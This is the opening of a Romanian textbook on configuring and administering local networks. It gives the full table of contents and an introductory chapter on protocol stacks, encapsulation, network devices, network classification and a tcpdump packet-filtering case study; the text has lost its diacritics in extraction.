Sunteți pe pagina 1din 426

Cuprins

0 Reea de calculatoare ...................................................................................................................... 1 0.1 Stiva de protocoale.................................................................................................................. 2 0.2 ncapsularea datelor ................................................................................................................ 3 0.3 Echipamente de reea ............................................................................................................. 4 0.4 Clasificarea reelelor................................................................................................................ 6 0.5 Studiu de caz ........................................................................................................................... 7 0.6 Concluzii ................................................................................................................................ 11 0.7 ntrebri ................................................................................................................................. 12 Nivelul fizic .................................................................................................................................... 13 1.1 Semnale ................................................................................................................................. 13 1.2 Medii de transmisie ............................................................................................................... 26 1.3 Utilitare pentru gestiunea nivelului fizic ............................................................................... 40 1.4 Scenarii de utilizare ............................................................................................................... 44 1.5 Studiu de caz ......................................................................................................................... 46 1.6 Concluzii ................................................................................................................................ 47 1.7 ntrebri ................................................................................................................................. 49 1.8 Referine ................................................................................................................................ 50 Reele Ethernet ............................................................................................................................. 51 2.1 Accesul la mediu .................................................................................................................... 51 2.2 ncapsularea datelor n reelele Ethernet ............................................................................. 54 2.3 Comutarea cadrelor n reele Ethernet ................................................................................. 60 2.4 Redundana n reele Ethernet .............................................................................................. 66 2.5 Utilitare pentru gestiunea reelelor Ethernet ....................................................................... 72 2.6 Scenarii .................................................................................................................................. 76 2.7 Studiu de caz ......................................................................................................................... 80 2.8 ntrebri ................................................................................................................................. 85 2.9 Referine ................................................................................................................................ 86 Protocolul IPv4 .............................................................................................................................. 87 3.1 Pachete IPv4 .......................................................................................................................... 87 3.2 Protocolul ARP ....................................................................................................................... 94 3.3 DHCP ...................................................................................................................................... 99 3.4 Configurarea protocolului IPv4 ........................................................................................... 100 3.5 Scenarii de utilizare ............................................................................................................. 114 3.6 Studiu de caz ....................................................................................................................... 116 3.7 Concluzii .............................................................................................................................. 118 3.8 ntrebri ............................................................................................................................... 120 3.9 Referine .............................................................................................................................. 120

ii | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 4 Protocolul IPv6 ............................................................................................................................ 121 4.1 Adresarea IPv6..................................................................................................................... 121 4.2 Descrierea pachetelor IPv6 ................................................................................................. 132 4.3 Configurarea adreselor IPv6 ................................................................................................ 137 4.4 Scenarii de folosire .............................................................................................................. 139 4.5 Studiu de caz ....................................................................................................................... 141 4.6 Concluzii .............................................................................................................................. 144 4.7 ntrebri ............................................................................................................................... 145 4.8 Referine .............................................................................................................................. 146 Optimizarea reelelor locale ........................................................................................................ 147 5.1 Definirea reelelor locale virtuale ....................................................................................... 148 5.2 Agregarea legturilor de nivel 2 .......................................................................................... 156 5.3 Securizarea reelelor locale ................................................................................................. 159 5.4 Utilitare................................................................................................................................ 165 5.5 Scenariu ............................................................................................................................... 171 5.6 Studiu de caz ....................................................................................................................... 177 5.7 Concluzii .............................................................................................................................. 182 5.8 ntrebri ............................................................................................................................... 184 5.9 Referine .............................................................................................................................. 185 Rutare .......................................................................................................................................... 186 6.1 Rolul unui ruter ................................................................................................................... 186 6.2 Protocoale de rutare ........................................................................................................... 196 6.3 Comunicaia din reeaua local ........................................................................................... 199 6.4 Utilitare pentru gestiunea procesrii de nivel reea ........................................................... 201 6.5 Scenarii ................................................................................................................................ 207 6.6 Studiu de caz ....................................................................................................................... 214 6.7 ntrebri ............................................................................................................................... 216 6.8 Referine .............................................................................................................................. 217 Securizarea reelei ....................................................................................................................... 218 7.1 Nivelul transport.................................................................................................................. 218 7.2 Firewall ................................................................................................................................ 221 7.3 Securizarea conexiunii ......................................................................................................... 223 7.4 Utilitare................................................................................................................................ 226 7.5 Scenariu de utilizare ............................................................................................................ 244 7.6 Studiu de caz ....................................................................................................................... 249 7.7 Concluzii .............................................................................................................................. 261 7.8 ntrebri ............................................................................................................................... 263 7.9 Referine .............................................................................................................................. 264 Alterarea pachetelor ................................................................................................................... 266 8.1 Moduri de alterare a pachetelor ......................................................................................... 267 8.2 Translatarea de adrese ........................................................................................................ 268 8.3 Implementarea translatrii de adrese................................................................................. 277

C u p r i n s | iii 8.4 8.5 8.6 8.7 8.8 8.9 9 Tunelarea............................................................................................................................. 280 Configuarea tunelurilor ....................................................................................................... 284 Scenarii de folosire a tunelrii ............................................................................................. 284 Studii de caz......................................................................................................................... 286 ntrebri ............................................................................................................................... 288 Referine .............................................................................................................................. 290

Servicii de reea ........................................................................................................................... 291 9.1 Modelul client server........................................................................................................... 292 9.2 Tipuri de servicii .................................................................................................................. 295 9.3 Serviciul DNS........................................................................................................................ 296 9.4 Serviciul web........................................................................................................................ 308 9.5 Serviciul de e-mail ............................................................................................................... 318 9.6 Scenarii de utilizare a serviciilor de reea ........................................................................... 326 9.7 Studiu de caz ....................................................................................................................... 328 9.8 Sumar de comenzi i fiiere ................................................................................................. 330 9.9 ntrebri ............................................................................................................................... 331 9.10 Referine .............................................................................................................................. 332

10 Wireless ....................................................................................................................................... 333 10.1 Descrierea comunicaiei wireless la nivel fizic .................................................................... 333 10.2 Standarde pentru reele locale (WLANs) ............................................................................ 336 10.3 Implementarea unei reele wireless ................................................................................... 339 10.4 Comunicaia wireless........................................................................................................... 341 10.5 Mecanisme de securitate wireless ...................................................................................... 346 10.6 Utilitare i fiiere de configurare ......................................................................................... 348 10.7 Scenariu ............................................................................................................................... 357 10.8 Studii de caz......................................................................................................................... 362 10.9 Concluzii .............................................................................................................................. 364 10.10 ntrebri ............................................................................................................................... 366 10.11 Referine .............................................................................................................................. 367 11 Virtualizarea la nivelul reelei...................................................................................................... 368 11.1 Reele virtuale ..................................................................................................................... 369 11.2 Implementarea switch-urilor virtuale ................................................................................. 374 11.3 Scenarii de folosire a switch-urilor virtuale ......................................................................... 378 11.4 Software Defined Networking (SDN)................................................................................... 382 11.5 Sumar de comenzi ............................................................................................................... 384 11.6 ntrebri ............................................................................................................................... 384 11.7 Referine .............................................................................................................................. 385 12 Autentificare ................................................................................................................................ 386 12.1 AAA ...................................................................................................................................... 386 12.2 Protocolul RADIUS ............................................................................................................... 387 12.3 Protocolul TACACS............................................................................................................... 390 12.4 Studiu de caz ....................................................................................................................... 391

iv | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 12.5 12.6 12.7 12.8 12.9 PPPoE................................................................................................................................... 391 EAP....................................................................................................................................... 392 Sumar de comenzi i fiiere ................................................................................................. 394 ntrebri ............................................................................................................................... 395 Referine .............................................................................................................................. 396

13 Atacuri de reea ........................................................................................................................... 397 13.1 Tipuri de hackeri .................................................................................................................. 397 13.2 Auditarea securitii reelei................................................................................................. 398 13.3 Atacuri n reeaua local ..................................................................................................... 399 13.4 Utilitare................................................................................................................................ 405 13.5 Scenariu de utilizare ............................................................................................................ 409 13.6 Studiu de caz ....................................................................................................................... 412 13.7 Concluzii .............................................................................................................................. 413 13.8 ntrebri ............................................................................................................................... 414 13.9 Referine .............................................................................................................................. 415 Anexa A: Programarea aplicaiilor IPv6 ............................................................................................... 416

Page |1

0 Reea de calculatoare
Ce se nva n acest capitol? Cine este Robert Metcalfe este un inginer electronist american, creditat ca fiind co-inventator al Ethernet-ului i autor al legii ce i poart numele. Aceast lege spune c numrul comunicaiilor ntr-o reea este proporional cu ptratul numrului utilizatorilor. De asemenea, legea are aplicabilitate n economie i management, un exemplu fiind firmele competitive care vor s fuzioneze. Comunicaia interuman la distan este folosit din cele mai vechi timpuri. Modalitile prin care aceasta se realizeaz au evoluat continuu: de exemplu, mesajele transmise cu porumbeii cltori sau prin curieri au devenit mult mai accesibile prin apariia potei. n anii '90 au aprut reelele de calculatoare, redefinind transmiterea mesajelor. n cadrul acestei noi organizri a comunicrii, cei care se ocup cu transmiterea efectiv a informaiei nu mai sunt doar oamenii. Acest lucru este preluat, n mare parte, de dispozitivele de calcul. La nivelul cel mai general, o reea de calculatoare este o modalitate de interconectare a mai multor sisteme de calcul, n vederea partajrii resurselor i a schimbului de informaii ntre acestea. Dispozitivele care ajut la interconectarea calculatoarelor sunt de mai multe tipuri i au deseori productori diferii. Pentru a se realiza comunicaia acestea trebuie s respecte un set de reguli predefinite. Acest set de reguli poart numele de protocol. Conceptul ne este familiar i n cazul scrisorilor. Cei care le trimit trebuie s respecte nite reguli sau, cu alte cuvinte, s foloseasc un protocol: s completeze plicul cu destinatarul i expeditorul, scrisoarea s aib un format recunoscut i, cel mai important, s foloseasc o limb inteligibil serviciilor potale i, desigur, destinatarului. Interconectarea sistemelor de calcul este asemntoare cu interconectarea componentelor unui calculator prin magistrale (circuite electrice integrate pe placa de baz) i chipset (coordonatorul componentelor din sistem). Legtura ntre sistemele de calcul se face prin intermediul unor medii de comunicaie, echivalente cu magistralele (cabluri de cupru, fibra optic, aerul) i a unor echipamente de reea, echivalente cu mai multe chipset-uri (plac de reea, switch-uri, media convertoare, puncte de acces radio, rutere). i n cadrul sistemului de calcul, pe lng componentele fizice (magistralele i chipseturile), este nevoie de reguli de comunicare. Astfel sunt implementate protocoale specifice fiecrei componente conectate (exemplu: SATA comunicaia i controlul dispozitivelor de stocare implementate n hardware). Un alt exemplu de protocol este un driver (acesta este folosit de sistemul de operare pentru a comunica cu dispozitivul asociat). Ce este o reea de calculatoare Echipamente de reea Stiva de protocoale Topologii

2|Configurarea i administrarea reelelor locale

0-1 Reea de calculatoare

0.1 Stiva de protocoale


Dup cum s-a menionat anterior, comunicaia ntre dou entiti necesit un protocol (de exemplu, pentru ca dou persoane s se neleag, trebuie s vorbeasc aceeai limb). Aadar, un protocol este un set de reguli care stabilete modul n care dou dispozitive schimb informaii ntr-o reea de calculatoare. Scopul final al unei reele este s asigure comunicaia ntre dou aplicaii oarecare. De exemplu comunicaia dintre un browser i un server web trebuie s funcioneze indiferent de productorii echipamentelor de interconectare (Cisco, Juniper, etc), ai sistemului de operare ce ruleaz pe staia de calcul (Linux, Windows, MacOS) sau ai implementrii ce asigur interfaa cu utilizatorul (Firefox, Chrome, Internet Explorer, etc). Practic trebuie asigurat interoperabilitatea ntre oricare dou aplicaii. Acestea trebuie s mpacheteze informaia, s o transmit pe mediu, s se asigure c a ajuns la destinaie, s preia rspunsul, etc. Dac toate acestea ar trebui implementate de fiecare aplicaie, timpul de dezvoltare ar fi foarte mare i bineineles c ar introduce probleme de incompatibilitate. Prin urmare, protocolul trebuie respectat de toate echipamentele dintr-o reea. Acestea sunt dezvoltate de diferii productori, fiind diferite din punct de vedere hardware i software. Pentru a simplifica paii necesari n care se realizeaz comunicaia ntr-o reea de calculatoare, protocoalele sunt dispuse ntr-o stiv, avnd un rol bine definit la fiecare nivel. Astfel, protocoalele de pe un anumit nivel se folosesc de serviciile oferite de protocoalele de la nivelurile inferioare i ofer servicii, la rndul lor, protocoalelor de la nivelurile superioare, reducndu-se complexitatea implementrii unui nou protocol. Cel mai important beneficiu este acela c programele ce ruleaz ntr-un sistem de operare pot trimite sau primi date din reea, nefiind necesar s se ocupe de modul n care sunt trimise. Acest concept de separaie este folosit i n programare, fiind filozofia lumii UNIX: do one thing and do it well. Un exemplu de stiv de protocoale este modelul OSI (Open Systems Interconnection), avnd apte niveluri. Acesta este un model teoretic, de referin, nefiind implementat. Nivelul 1 (fizic) se ocup cu transmisia unui ir de bii pe un canal de comunicaie. Nivelul 2 (legtur de date) se ocup cu adresarea fizic a staiilor ntr-o reea i cu accesul la mediu (reglementnd cnd poate un dispozitiv s trimit cadre astfel nct acestea s nu interfereze cu alte echipamente din reea). Cu ajutorul nivelului 3 (de reea) se determin calea ctre destinaie a unui pachet. Nivelul 4 este nivelul transport, aici asigurndu-se controlul fluxului de date (verificarea integritii unui pachet, ordinea corect a pachetelor primite etc.). Astfel, pachetele primite de acest nivel sunt asociate n ordinea corect ntr-un segment. Nivelul 5 (sesiune) gestioneaz conexiunile ntre aplicaii (nchide i deschide conexiuni). Nivelul 6 (prezentare) asigur compresia i criptarea datelor. Ultimul nivel (nivelul aplicaie) specific interfaa cu utilizatorul (atunci cnd este dezvoltat o aplicaie, programatorul folosete interfaa pus la dispoziie de acest nivel pentru a trimite mesaje).

Reea de calculatoare |3 Dup cum s-a menionat anterior, modelul OSI este un model teoretic. n Internet se folosete stiva de protocoale TCP/IP, o form simplificat a modelului OSI. Denumirea TCP/IP provine din faptul c IP este principalul protocol de nivel 3, iar TCP este principalul protocol de la nivelul transport. Stiva OSI i cea TCP/IP au fost concepute n acelai timp i fiecare a contribuit la dezvoltarea celeilalte. TCP/IP unific primele dou nivele i ultimele trei ale modelului OSI, obinndu-se o implementare concentrat (vezi Fig. 0-2). Astfel, modul de transmisie al biilor i accesul la mediu este asigurat de un singur protocol (Ethernet, PPP vezi capitolul Reele Ethernet). Nivelul reea, din stiva OSI, corespunde nivelului Internet n TCP/IP, unde principalul protocol folosit este IP (n dou versiuni vezi capitolele Ipv4 i Ipv6). La nivelul transport, protocoalele folosite sunt TCP (orientat conexiune adic se negociaz o conexiune logic nainte de transmisia efectiv), UDP (neorientat conexiune adic pachetul se trimite direct ctre destinaie) i ICMP (vezi capitolul Securizarea reelei). Modul de stabilire al conexiunii, de asigurare a compresiei i a confidenialitii este asigurat de ctre nivelul aplicaie, acelai ce expune interfaa de comunicaie pentru utilizator/programator. Exemple de protocoale corespunztoare nivelului aplicaie sunt: HTTP (pentru accesul la paginile WEB), POP3/IMAP (pentru accesul la e-mail-urile din csua potal), SMTP (pentru a trimite emailuri), SSH (acces securizat de la distan), DNS (rezolvarea numelor adic face legtura ntre adresele calculatoarelor i nume predefinite, care sunt mai uor de reinut).

0-2 OSI vs. TCP/IP Stiva TCP/IP este implementat, de obicei, n nucleul sistemului de operare. Astfel, orice aplicaie trimite pachetele nucleului din sistemul de operare, acesta ocupndu-se mai departe s treac respectivul pachet prin fiecare nivel al stivei.

0.2 ncapsularea datelor


Dup cum s-a menionat anterior, datele ce trebuie trimise ctre o destinaie definit trebuie s parcurg de sus n jos stiva de protocoale, adugndu-se cte un antet la fiecare nivel. Antetul conine informaia necesar protocolului de la acel nivel, urmnd a fi interpretat de receptor. Acest proces poart numele de ncapsulare (vezi Fig. 0-3). Astfel, la informaiile de trimis, se mai adaug alte date, denumite uneori metadate (date despre date).

4|Configurarea i administrarea reelelor locale

0-3 ncapsularea datelor Pornind de sus, n stiva OSI, se observ c la nivelele 5, 6, 7 nu se adaug nici un fel de informaie. La aceste nivele funcioneaz aplicaia, acesta fiind argumentul pentru care stiva TCP are definit doar nivelul aplicaie. Dac aplicaia are nevoie de servicii, va trebui s le implementeze incluznd, eventual, informaii despre acestea n cmpul de date la care are acces, pentru a fi interpretate de receptor. Urmtoarele trei nivele adaug fiecare cte un antet specific (Transport, Reea, Legtur de date). n final, datele ncapsulate sunt transmise nivelului fizic, pentru a le pune pe mediul de transmisie, folosind echipamente specifice (de reea).

0.3 Echipamente de reea


Echipamentele de reea sunt cele ce asigur transmisia efectiv a datelor i pot fi de mai multe tipuri, n funcie de nivelul stivei la care opereaz. Acestea iau decizia de transmitere/recepie n funcie de informaiile ce se gsesc n antetul de la nivelul respectiv.

Placa de reea
Aceasta permite unui sistem de calcul s schimbe informaii cu un altul, fiind interfaa de comunicaie cu o reea de calculatoare. Dup ce datele parcurg ntreaga stiv de protocoale a sistemului de operare, fiind ncapsulate, driverul (protocolul ce ajut sistemul de operare s comunice cu placa de reea) le trimite plcii de reea. n englez se folosesc mai muli termeni, avnd aceeai semnificaie: network card, network adapter, network interface, NIC (Network Interface Controller).

0-4 Placa de reea

Reea de calculatoare |5 Atunci cnd un calculator are o singur plac de reea, spunem c acesta are o singur interfa, iar cnd are dou plci de reea, spunem c acesta are dou interfee. Denumirea de interfa este abstracia dat de sistemul de operare (modul n care acesta vede o plac de reea). Exist dou tipuri de interfee: fizice i virtuale. Interfaa fizic reprezint o plac de reea (de exemplu, pe un sistem Linux, interfeele Ethernet sunt numite ethX, unde X este numrul interfeei). Interfeele virtuale nu exist din punct de vedere fizic n configuraia hardware a sistemului. Un exemplu este interfaa de loopback, aceasta fiind folosit pentru a referi staia curent ca i cum aceasta s-ar afla ntr-o reea (dei nu exist nici o legtur fizic). n topologiile prezente n aceast carte nu vom figura placa de reea. n schimb, vom reprezenta sistemul de calcul (staia), ce folosete o plac de reea pentru a se conecta la alte echipamente (vezi Fig. 0-5). A 0-5 Sistem de calcul (staie)

Repetor (Hub)
Repetorul este folosit pentru regenerarea i amplificarea semnalului. n mod uzual, acesta are dou interfee, i toate datele primite pe o interfa, le trimite pe cealalt, fr nici un fel de analiz. n zilele noastre acesta nu se mai folosete (vezi dezavantajele folosirii hub-ului n capitolul ce descrie tehnologia Ethernet).

Switch
Switch-ul este un dispozitiv de interconectare cu un numr variabil de interfee (de la cinci n sus). Comutarea pachetelor, adic direcionarea lor de pe un port pe altul, se face la nivelul 2 al stivei OSI, respectnd anumite reguli (vezi capitolul Reele Ethernet).

a) 0-6 Switch

Sw

b)

n schemele logice un switch este uneori reprezentat printr-un dreptunghi cu dou sgei avnd sensuri diferite (vezi Fig. 0-6a). n cadrul acestei cri vom folosi o reprezentare alternativ, cu dou grupuri de sgei paralele (vezi Fig 0-6b).

Ruter
Ruterul este utilizat pentru interconectarea mai multor reele de calculatoare, avnd un numr variabil de interfee (cel puin dou). Ruterele pot fi echipamente hardware dedicate, produse de diferii vendori, cu sisteme de operare proprietare (Cisco, Juniper, Fortinet, etc.). De asemenea, pe post de ruter se poate folosi un calculator, cu orice sistem de operare, ce are minim dou interfee, dat fiind c orice sistem de operare are capabilitatea de rutare. Decizia de comutare a pachetelor se ia n funcie de nivelul 3 al stivei OSI (vezi capitolul de Rutare). Reprezentarea ruterului n schemele logice se realizeaz printr-un cerc, cu dou grupuri de sgei perpendiculare. Sgeile dintr-un grup au sensuri opuse (vezi Fig 0-7).

Ruter

0-7 Ruter

6|Configurarea i administrarea reelelor locale Toate echipamentele prezentate anterior se pot interconecta n moduri diferite, influennd n mod direct performana unei reele. Combinaiile n care se pot conecta mai multe dispozitive ntr-o reea poart numele de topologie. Topologia se refer la dou aspecte importante n dispunerea echipamentelor: modul n care acestea sunt conectate ntre ele din punct de vedere fizic, purtnd numele de topologie fizic, i modul n care echipamentele sunt folosite pentru a realiza comunicaia ntre entiti, purtnd numele de topologie logic. 2 2 8 A B 3
Sw3

3
Sw2

Sw9

1 3 4

4
Sw1

4 2 1

1
Sw7

9
Sw8

4 D

8 E

29 F

0-8 Topologie Un exemplu de topologie este cea din Fig. 0-8. Se observ porturile pe care sunt conectare calculatoarele, dispunerea nlnuit a switch-urilor, legturi multiple ntre diferite noduri (switchuri). Practic, aceasta este topologia fizic. Dac staia F dorete s comunice cu staia A, prin ce switch se vor duce datele, Sw2 sau Sw1? Rspunsul la aceast ntrebare este dat de topologia logic, construit pe anumite considerente (va folosi Sw2 dac acesta trimite mai repede datele). Un exemplu de topologie logic, pentru comunicaia dintre staiile conectate la Sw7 i staiile conectate la Sw9, ar fi: Sw7-Sw2-Sw3-Sw9. Se observ dou legturi ntre Sw3 i Sw2. Care din ele va fi folosit? Rspunsul este, de asemenea, legat de topologia logic. Este posibil ca aceste legturi s funcioneze simultan, cu scopul de a trimite mai multe date simultan, sau doar s funcioneze alternativ (cnd se ntrerupe una, se activeaz cealalt, eventual cu scop de back-up).

0.4 Clasificarea reelelor


n funcie de tipurile de echipamente folosite i distana ntre nodurile unei reele, putem clasifica reelele n: Local Area Network, Metropolitan Area Network, Wide Area Network. Fiecrui tip i sunt specifice anumite protocoale sau tehnologii de interconectare.

Local Area Network (LAN)


Calculatoarele dintr-un LAN sunt de regul prezente n aceeai camer, cldire sau campus (distanele sunt cuprinse ntre 1 i 1000 de metri). Trebuie specificat faptul c distanele nu sunt propriu-zis definitorii pentru tipul reelei: nu putem spune c dac sunt 500 de metri ntre 2 calculatoare acestea sunt obligatoriu n acelai LAN. n general, un LAN este delimitat de punctul de ieire ctre Internet (practic legtura cu reelele MAN/WAN). Acesta este un ruter care poart numele de Gateway. Standardele predominante n LAN sunt Ethernet (cablu de cupru) i WLAN (radio).

Reea de calculatoare |7

Metropolitan Area Network (MAN)


MAN se refer la reele ce se ntind pe suprafaa unui ora (distane de pn la 10 km). Din punct de vedere tehnic acest tip de reea este rar folosit, neexistnd tehnologii specific definite. n general se folosete Ethernet. Acest termen (MAN) este utilizat n departamentele comerciale ale furnizorilor de internet (Internet Service Provider - ISP), specificnd viteza disponibil pentru clieni n oraul respectiv.

Wide Area Network (WAN)


Reelele WAN sunt cele care interconecteaz noduri din aceeai ar sau continent. Practic, legtura ctre WAN este legtura ctre Internet. Tehnologiile folosite sunt din cele mai diverse: MPLS, ATM, Frame Relay, PPP (Point-to-Point Protocol), acestea adresndu-se furnizorilor de internet (ISP).

0.5 Studiu de caz


n depanarea problemelor aprute n reelele de calculatoare este foarte important inspecia coninutului pachetelor. Un utilitar des ntlnit n lumea UNIX pentru acest lucru este tcpdump. Acesta permite vizualizarea antetelor rezultate n urma ncapsulrii datelor. n Fig. 0-9 avem o topologie a unei reele de calculatoare format din staii, switch-uri i rutere. Vom considera legturile fizice ca fiind pe cupru. Dup cum se poate observa, LAN-ul (reeaua local) este delimitat de un ruter (HQ). Acesta face legtura cu ISP-ul (Internet Service Provider).
Sw9

2 2 8

3
Sw3

3
Sw2

2
BR

M 3
ISP

7 A

1 B 3 4

4
Sw1

4 2 1

1
Sw7

9
Sw8

2 3

2 3

4
HQ

4 D

8 E

29 F 21 4 W

0-9 Topologie: studiu de caz Ruterul HQ ruleaz un sistem de operare Linux. Se dorete s se analizeze traficul ce vine din reeaua local (portul 2) i se duce ctre ISP (portul 1). Fiind un ruter Linux, vom considera interfeele ca fiind Ethernet. Astfel, sistemul de operare va abstractiza portul 1 ca fiind interfaa eth1 i portul 2 ca interfaa eth2. Pentru a afla opiunile puse la dispoziie de utilitarul tcpdump se folosete parametrul -h (help). Acest parametru este prezent n majoritatea utilitarelor din Linux.
root@HQ:~# tcpdump -h tcpdump version 4.0.0 libpcap version 1.0.0 Usage: tcpdump [-aAdDefIKlLnNOpqRStuUvxX] [ -B size ] [ -c count ] [ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ] [ -i interface ] [ -M secret ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ] [ -W filecount ] [ -y datalinktype ] [ -z command ] [ -Z user ] [ expression ]

8|Configurarea i administrarea reelelor locale Pentru o descriere mai ampl a fiecrei opiuni se poate utiliza manualul, rulnd man tcpdump. Coninutul este destul de extensiv, iar pentru o cutare rapid se recomand folosirea sintaxei /cuvnt_de_cutat, introdus n interfaa manualului. Utilitarul tcpdump, rulat fr nici o opiune, va afia absolut toate pachetele ce trec prin prima interfa a ruterului (n general eth0). Pentru a selecta numai traficul ce trece printr-o interfa, se folosete opiunea i (interface). Astfel, pentru a vedea traficul de pe interfaa eth1 , aparinnd ruterului HQ executm n consol:
root@HQ:~# tcpdump -i eth1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:05:23.479151 IP HQ.ssh > 79-117-24-159.rdsnet.ro.52497: Flags 2748149827:2748150023, ack 1188286833, win 192, length 196

[P.],

seq

Dup cum se poate observa i n output, pentru a obine informaii suplimentare despre pachete se adaug opiunile v (verbose) sau vv (very verbose), cea din urm oferind i mai multe date despre protocoale. Informaiile oferite de tcpdump vor fi analizate n seciunile urmtoare. Specificnd doar intefaa, tcpdump va afia absolut toate pachetele de trec prin interfaa respectiv, fiind aproape imposibil de neles fluxul de trafic. n practic, pentru a selecta traficul dorit se folosesc opiunile puse la dispoziie. n mod implicit se afieaz doar antetele de nivel 3 (adresa IP) i 4 (portul). ATENIE: tcpdump trebuie rulat avnd drepturile utilizatorului privilegiat (root).

0.5.1 Analiza traficului de nivel 2


Pentru a afia antetul de nivel 2 (cutare n man: /Link Level Headers) se adaug opiunea e:
root@HQ:~# tcpdump -i eth1 -e tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 18:24:11.369298 00:02:b3:a0:9f:65 (oui Unknown) > 00:1d:71:99:05:40 (oui Unknown), ethertype IPv4 (0x0800), length 250: HQ.ssh > 79-117-24-159.rdsnet.ro.59684: Flags [P.], seq 3197383668:3197383864, ack 3283769467, win 192, length 196

Primul cmp (18:24:11.369298) reprezint ora la care s-a nregistrat pachetul. Dup momentul de timp, urmeaz antetul de nivel 2. Acesta este alctuit din adresa MAC surs (00:02:b3:a0:9f:65 vezi capitolul Reele Ethernet) i din adresa MAC destinaie (00:1d:71:99:05:40).

0.5.2 Analiza traficului de nivel 3


Dup cum s-a precizat anterior, antetul de nivel 3 este afiat n mod implicit. n captura anterioar, dup antetul de nivel 2 (00:02:b3:a0:9f:65 (oui Unknown) > 00:1d:71:99:05:40 (oui Unknown)), urmeaz numele protocolului de nivel 3 (IPv4 (0x0800)), nsoit de adresele surs (HQ) i destinaie (79-112-24-159.rdsnet.ro). Adresele surs i destinaie sunt sub forma unor nume. Aceste nume sunt obinute folosind serviciul de DNS (vezi capitolul Servicii de reea). Pentru a nu mai face aceast transformare n nume, se poate folosi opiunea n (numeric), utilitarul rulnd mai rapid. Aceast opiune se regsete la toate utilitarele ce lucreaz cu IP-uri (netstat, iptables etc.), avnd scopul de a nu mai atepta pentru transformarea n nume, fiind mai rapide.
root@HQ:~# tcpdump -i eth1 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:19:21.569228 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags 2748184943:2748185139, ack 1188287917, win 192, length 196

[P.],

seq

n cele ce urmeaz vom descrie diferite tipuri de filtre pentru selectarea traficului, n funcie de datele din antetul de nivel 3: dup adresa IP surs prin parametrul src, urmat de adresa IP sau nume

Reea de calculatoare |9
root@HQ:~# tcpdump -i eth1 -n src 86.122.60.17 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:24:09.659229 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 2748193907:2748194103, ack 1188289733, win 192, length 196 14:24:09.669154 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 196:376, ack 1, win 192, length 180

Se poate observa c sunt prezente doar pachetele ce au ca adres IP surs 86.122.60.17. dup adresa IP destinaie folosind parametrul dst, urmat de adresa IP sau nume
root@HQ:~# tcpdump -i eth1 -n dst 86.122.60.17 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:26:42.143742 IP 79.117.24.159.60082 > 86.122.60.17.1046: UDP, length 64 14:26:42.144877 IP 79.117.24.159.60082 > 86.122.60.17.1046: UDP, length 39

n captura anterioar sunt prezente doar pachetele ce au ca adres IP surs 86.122.60.17.

0.5.3 Analiza traficului de nivel 4


n capturile anterioare, ceea ce se gsete n antetul de nivel 3, dup ., n fiecare adres, reprezint portul (practic adresa de nivel 4 vezi mai multe detalii n capitolul Securizarea reelei). Aceste adrese sunt urmate de diferite flag-uri, aparinnd protocolului de nivel 4. n cele ce urmeaz, se vor descrie diferite tipuri de filtre pentru selectarea traficului, n funcie de porturi (adresa de nivel 4): dup portul surs prin parametrul src port urmat de numrul portului
root@HQ:~# tcpdump -i eth1 -n src port 22 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:28:14.839241 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 2748283031:2748283227, ack 1188299089, win 192, length 196 14:28:14.849146 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 196:376, ack 1, win 192, length 180

dup portul destinaie prin parametrul dst port urmat de numrul portului

root@HQ:~# tcpdump -i eth1 -n dst port 22 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:27:40.812904 IP 79.117.24.159.52497 > 86.122.60.17.22: Flags [.], ack 2748269975, win 4266, length 0 14:27:41.030696 IP 79.117.24.159.52497 > 86.122.60.17.22: Flags [.], ack 149, win 4229, length 0

Dac dorim o selectare mai specific a traficului inspectat, putem combina opiunile prezentate anterior, folosind operatorii logici and i or. n cele ce urmeaz prezentatm selecii compuse, folosind operatorii logici: traficul de la adresa 86.122.60.17 i portul destinaie 52497:
root@HQ:~# tcpdump -i eth1 -n src 86.122.60.17 and dst port 52497 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:34:17.399881 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 2748309523:2748309719, ack 1188305185, win 192, length 196 14:34:17.409074 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], seq 196:376, ack 1, win 192, length 180

Se observ n captura anterioar doar pachete ce au adresa surs 86.122.60.17 (86.122.60.17.22) i portul destinaie 52497 (79.117.24.159.52497). traficul ce are ca destinaie adresa 79.117.24.159 sau adresa 213.154.124.1:
root@HQ:~# tcpdump -i eth1 -n dst 79.117.24.159 or dst 213.154.124.1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:37:20.219910 IP 86.122.60.17.22 > 79.117.24.159.52497: Flags [P.], 2748345087:2748345139, ack 1188311625, win 192, length 52 14:37:20.222248 IP 86.122.60.17.38963 > 213.154.124.1.53: 1027+ AAAA? google.ro. (27)

seq

Se observ c au fost afiate doar pachetele ce au ca destinaie una din cele dou adrese IP.

10 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e traficul ce are ca destinaie adresa 86.122.60.17 i portul 22 sau adresa destinaie 74.125.232.216:

